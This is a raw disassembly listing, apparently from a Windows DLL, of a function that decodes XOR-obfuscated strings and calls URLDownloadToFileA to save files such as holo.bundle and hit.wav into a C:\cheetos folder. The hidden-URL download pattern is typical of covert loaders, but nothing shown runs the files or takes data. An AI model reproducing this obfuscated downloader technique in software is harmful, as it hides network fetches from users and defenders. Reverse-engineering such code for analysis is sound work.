mov qword [rbp + 0x198], rax
movabs rax, 0x16f8cfdee5d875d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xa7ee9a23b0ef4518
mov qword [rbp + 0xa20], rax
lea r8, str.C:cheetos.ccholo.bundle
mov rax, qword [rbp + 0xa20]
lea rdx, [rsp + 0x40]
mov qword [rbp + 0x1a8], rax
xor r9d, r9d
movabs rax, 0x11bb6a3cf4de93c5
mov qword [rsp + 0x20], 0
mov qword [rbp + 0xa20], rax
xor ecx, ecx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xa55ad78130ed06aa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x170]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x190]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x1b8], rax
xorps xmm1, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0x9d3424c53a0f9723
movabs rcx, 0x13ee979a62fcf517
mov qword [rbp + 0xa20], rax
movabs rdx, 0x33c7b90fe89647fc
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0xa20], rdi
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x168], rax
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x170], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x178], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x188], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x198], rax
movabs rax, 0x20ccfae6d4ec41e4
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xc3c1a31783d97428
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x72de04529bbde0ac
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xd62eb2f2438c28de
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0xa20], rdx
lea r8, str.C:cheetos.ccdisconnect.assets
mov rax, qword [rbp + 0xa20]
xor r9d, r9d
mov qword [rbp + 0x1c8], rax
movabs rax, 0xb21b1eb64a7be34b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6d0], rax
movabs rax, 0x21cac37bf43e1330
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6d8], rax
movabs rax, 0x43eeb974672118dd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6e0], rax
movabs rax, 0x8e3a0659b12de6c2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x6d63a7129c2580cf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6f0], rax
movabs rax, 0xc2b949a709b9dd94
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x6f8], rax
movabs rax, 0xa6f321a01719f9f1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x700], rax
movabs rax, 0xc31559f530454ac6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x708], rax
movabs rax, 0x16f8cfdee5d875d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x710], rax
movabs rax, 0xa7ee9a23b0ef4518
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x718], rax
movabs rax, 0x11bb6a3cf4de93c5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x720], rax
movabs rax, 0xa55ad78130ed06aa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0xa20], rcx
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x730], rax
mov qword [rbp + 0xa20], rdx
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rbp + 0x160]
xorps xmm0, xmmword [rbp + 0x6d0]
movdqa xmm1, xmmword [rbp + 0x170]
xorps xmm1, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x160], xmm0
movdqa xmm0, xmmword [rbp + 0x180]
xorps xmm0, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmm0, xmmword [rbp + 0x1a0]
xorps xmm0, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0x170], xmm1
movdqa xmm1, xmmword [rbp + 0x190]
xorps xmm1, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x1a0], xmm0
movdqa xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x190], xmm1
movdqa xmm1, xmmword [rbp + 0x1b0]
xorps xmm1, xmmword [rbp + 0x720]
mov qword [rbp + 0x738], rax
xorps xmm0, xmmword [rbp + 0x730]
movdqa xmmword [rbp + 0x1c0], xmm0
movdqa xmmword [rbp + 0x1b0], xmm1
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0x9d3424c53a0f9723
movabs rbx, 0x95c718932028cfc9
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0xa20], rdi
movabs rdi, 0xfa8b70913b8eeaa5
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], rdi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
movabs rax, 0xf0226ec4016a7af0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x22caffebd4ec4ce3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xc0c1ac1786dc772e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x78], rax
movabs rax, 0x64d944458cbfffa4
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
movabs rax, 0xa55ad781558162c4
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
movabs rax, 0xb21b1eb64a7be34b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x540], rax
movabs rax, 0x21cac37bf43e1330
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x548], rax
movabs rax, 0x43eeb974672118dd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x550], rax
movabs rax, 0x8e3a0659b12de6c2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x558], rax
movabs rax, 0x6d63a7129c2580cf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x560], rax
movabs rax, 0xc2b949a709b9dd94
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x568], rax
movabs rax, 0xa6f321a01719f9f1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x570], rax
movabs rax, 0xc31559f530454ac6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x578], rax
movabs rax, 0x16f8cfdee5d875d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
lea r8, str.C:cheetos.ccgalaxy.bundle
mov qword [rbp + 0x580], rax
lea rdx, [rsp + 0x40]
movabs rax, 0xa7ee9a23b0ef4518
mov qword [rsp + 0x20], 0
mov qword [rbp + 0xa20], rax
xor r9d, r9d
mov rax, qword [rbp + 0xa20]
xor ecx, ecx
mov qword [rbp + 0x588], rax
movabs rax, 0x11bb6a3cf4de93c5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x590], rax
movabs rax, 0xa55ad78130ed06aa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x540]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x550]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x570]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x580]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x598], rax
xorps xmm1, xmmword [rbp + 0x590]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0x9d3424c53a0f9723
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rax
movabs rax, 0x42b9aa1fda507753
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa20], r13
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
movabs rax, 0xf22c6ec4016a78f7
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x2ec8f8e8d1e04de2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xf4c1aa1189da752b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x78], rax
movabs rax, 0x65de194f95f0a28e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
movabs rax, 0xa55ad78130ed06d9
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
movabs r14, 0xb21b1eb64a7be34b
lea r8, str.C:cheetos.ccSK1.assets
mov qword [rbp + 0xa20], r14
lea rdx, [rsp + 0x40]
mov rax, qword [rbp + 0xa20]
xor esi, esi
mov qword [rbp + 0x5a0], rax
xor r9d, r9d
movabs rax, 0x21cac37bf43e1330
mov qword [rsp + 0x20], rsi
mov qword [rbp + 0xa20], rax
xor ecx, ecx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x43eeb974672118dd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5b0], rax
movabs rax, 0x8e3a0659b12de6c2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x6d63a7129c2580cf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5c0], rax
movabs rax, 0xc2b949a709b9dd94
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5c8], rax
movabs rax, 0xa6f321a01719f9f1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5d0], rax
movabs rax, 0xc31559f530454ac6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5d8], rax
movabs rax, 0x16f8cfdee5d875d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xa7ee9a23b0ef4518
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x11bb6a3cf4de93c5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x5f0], rax
movabs rax, 0xa55ad78130ed06aa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x5a0]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x5b0]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x5c0]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x5d0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x5f8], rax
xorps xmm1, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0x9d3424c53a0f9723
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rax
movabs rax, 0x42b9aa1fda507753
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa20], r13
movabs rcx, 0xa55ad78130ed06aa
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xa20], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa20], r15
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa20], rdi
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x70], rax
movabs rax, 0xf6226ec4016a7af0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x78], rax
movabs rax, 0x26c0ffeed5e841e0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x80], rax
movabs rax, 0xcfc1ac1481df7521
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x78], rax
movabs rax, 0x11bb1c5d83f0e7ac
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x70], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
mov qword [rbp - 0x68], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x600], rax
movabs rax, 0x21cac37bf43e1330
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x608], rax
movabs rax, 0x43eeb974672118dd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x610], rax
movabs rax, 0x8e3a0659b12de6c2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x618], rax
movabs rax, 0x6d63a7129c2580cf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x620], rax
movabs rax, 0xc2b949a709b9dd94
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x628], rax
movabs rax, 0xa6f321a01719f9f1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x630], rax
movabs rax, 0xc31559f530454ac6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x638], rax
movabs rax, 0x16f8cfdee5d875d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x640], rax
movabs rax, 0xa7ee9a23b0ef4518
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x648], rax
movabs rax, 0x11bb6a3cf4de93c5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0xa20], rcx
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x658], rax
movdqa xmm0, xmmword [rsp + 0x40]
lea r8, str.C:cheetos.cchit.wav
xorps xmm0, xmmword [rbp + 0x600]
lea rdx, [rsp + 0x40]
movdqa xmm1, xmmword [rsp + 0x50]
xor r9d, r9d
xorps xmm1, xmmword [rbp + 0x610]
xor ecx, ecx
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x620]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x630]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x640]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
xorps xmm1, xmmword [rbp + 0x650]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
mov qword [rsp + 0x20], rsi
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov r8, qword [rbp + 0x878]
cmp r8, 0xf
jbe 0x180057b91
mov rdx, qword [rbp + 0x860]
call fcn.1800043d0
mov r8, qword [rbp + 0x208]
cmp r8, 0xf
jbe 0x180057baa
mov rdx, qword [rbp + 0x1f0]
call fcn.1800043d0
mov r8, qword [rbp + 0x898]
movdqa xmm0, xmmword [0x180285140]
mov byte [rbp + 0x1f0], sil
movdqu xmmword [rbp + 0x200], xmm0
cmp r8, 0xf
jbe 0x180057bda
mov rdx, qword [rbp + 0x880]
call fcn.1800043d0
lea rcx, [rbp + 0x140]
call fcn.180004330
mov r8, qword [rbp - 0x28]
cmp r8, 0xf
jbe 0x180057bf9
mov rdx, qword [rbp - 0x40]
call fcn.1800043d0
mov r8, qword [rbp - 0x48]
cmp r8, 0xf
jbe 0x180057c0c
mov rdx, qword [rbp - 0x60]
call fcn.1800043d0
mov r8, qword [rbp - 8]
cmp r8, 0xf
jbe 0x180057c1f
mov rdx, qword [rbp - 0x20]
call fcn.1800043d0
mov rcx, qword [rbp + 0xa10]
call fcn.180004330
mov r12, qword [rsp + 0xb28]
add rsp, 0xad0
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180003f60
int3
call fcn.180003ec0
int3
call fcn.180003ec0
int3
call fcn.180003f60
int3
call fcn.180003f60
int3